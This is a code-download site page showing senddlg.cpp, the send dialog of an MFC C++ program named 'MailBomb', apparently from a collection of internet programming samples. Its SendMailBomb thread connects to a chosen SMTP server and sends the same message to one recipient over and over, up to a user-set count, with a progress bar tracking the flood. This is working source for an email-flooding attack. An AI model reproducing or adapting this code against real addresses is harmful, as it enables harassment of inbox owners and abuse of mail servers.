⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 senddlg.cpp

📁 INTERNET网络高级编程的包括邮件加密、MAPI、ISAPI、ACTIVEX、FTP等等。
💻 CPP
字号:
// SendDlg.cpp : implementation file
//

#include "stdafx.h"
#include "MailBomb.h"
#include "SendDlg.h"

#include "MailMessage.h"
#include "SMTP.h"


#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CSendDlg dialog


CSendDlg::CSendDlg(CWnd* pParent /*=NULL*/)
	: CDialog(CSendDlg::IDD, pParent)
{
	//{{AFX_DATA_INIT(CSendDlg)
	m_strStatus = _T("");
	//}}AFX_DATA_INIT
//	m_nCount=0;
	
	
}


void CSendDlg::DoDataExchange(CDataExchange* pDX)
{
	CDialog::DoDataExchange(pDX);
	//{{AFX_DATA_MAP(CSendDlg)
	DDX_Control(pDX, IDC_ANIMATE, m_ctrlAnimate);
	DDX_Text(pDX, IDC_STATUS, m_strStatus);
	//}}AFX_DATA_MAP
}


BEGIN_MESSAGE_MAP(CSendDlg, CDialog)
	//{{AFX_MSG_MAP(CSendDlg)
	ON_BN_CLICKED(IDCANCEL, OnCancel)
	ON_MESSAGE(WM_THREADFINISHED, OnThreadFinished)
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CSendDlg message handlers
int m_nCount=0;
void CSendDlg::OnCancel() 
{
	// TODO: Add your control notification handler code here
	
	if(m_nCount==0)
	{
		CDialog::OnCancel();	
	}
	else
	{
		m_nCount=m_nCopyNumber;
	}
	
}

BOOL CSendDlg::OnInitDialog() 
{
	CDialog::OnInitDialog();
	
	// TODO: Add extra initialization here
	AfxBeginThread(SendMailBomb,this);//GetSafeHwnd(),THREAD_PRIORITY_NORMAL);
	m_ctrlAnimate.Open(IDR_AVI);
	return TRUE;  // return TRUE unless you set the focus to a control
	              // EXCEPTION: OCX Property Pages should return FALSE
}

UINT SendMailBomb(LPVOID pParam)
{
   CSendDlg * pSendThread=(CSendDlg  *)pParam;
	CSMTP smtp(pSendThread->m_strSmtpServer,pSendThread->m_nPort);
	CMailMessage msg;
	
	msg.m_strFrom=pSendThread->m_strFrom;
    msg.m_strTo=pSendThread->m_strTo;
	msg.m_strSubject=pSendThread->m_strSubject;
	msg.m_strBody=pSendThread->m_strBody;
	
//pSendThread->GetDlgItem(IDCANCEL)->EnableWindow(FALSE);
	pSendThread->EnableUI(FALSE,TRUE);
	pSendThread->SetDlgItemText(IDC_STATUS,"正在连接服务器......");
  
	if(!smtp.Connect())
	{
		AfxMessageBox(smtp.GetLastError());
		pSendThread->SetDlgItemText(IDC_STATUS,"连接服务器失败");
        pSendThread->EnableUI(TRUE,TRUE);
		//pSendThread->GetDlgItem(IDCANCEL)->EnableWindow(TRUE);
		return FALSE;
	}
	

    CProgressCtrl* pBar;
	pBar=(CProgressCtrl*)pSendThread->GetDlgItem(IDC_PROGRESS_SEND);

	
	for(m_nCount;m_nCount<pSendThread->m_nCopyNumber; 
							::InterlockedIncrement((long*) &m_nCount))
	{
		
		if(!smtp.SendMessage(&msg))
		{
			AfxMessageBox(smtp.GetLastError());
			smtp.Disconnect();
			pSendThread->SetDlgItemText(IDC_STATUS,"发送信件出错!");
			pSendThread->EnableUI(TRUE,FALSE);
			return FALSE;
		}
		else
		{
			pSendThread->SetDlgItemText(IDC_STATUS,"正在发送信件......");
			pSendThread->EnableUI(TRUE,TRUE);
			pBar->SetPos((m_nCount+1)*100/pSendThread->m_nCopyNumber);
		}
	}

	smtp.Disconnect();
	if(AfxMessageBox(_T("邮件已被成功发送!"))==IDOK)
	{
		pSendThread->SetDlgItemText(IDC_STATUS,"发送完毕。");
				pSendThread->EnableUI(TRUE,FALSE);
		::PostMessage((HWND)pParam,WM_THREADFINISHED,0,0);
	}
	m_nCount=0;

	return TRUE;

}

LRESULT CSendDlg::OnThreadFinished(WPARAM wParam,LPARAM lParam)
{
	//AfxMessageBox("");
    CDialog::OnOK();		
	return 0;
}

void CSendDlg::EnableUI(BOOL bEnable,BOOL bAvi)
{
	GetDlgItem(IDCANCEL)->EnableWindow(bEnable);
	if(bAvi)
		m_ctrlAnimate.Play(0,(UINT)-1,(UINT)-1);
	else
	{
		m_ctrlAnimate.Stop();
		m_ctrlAnimate.Seek(0);
	}

}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -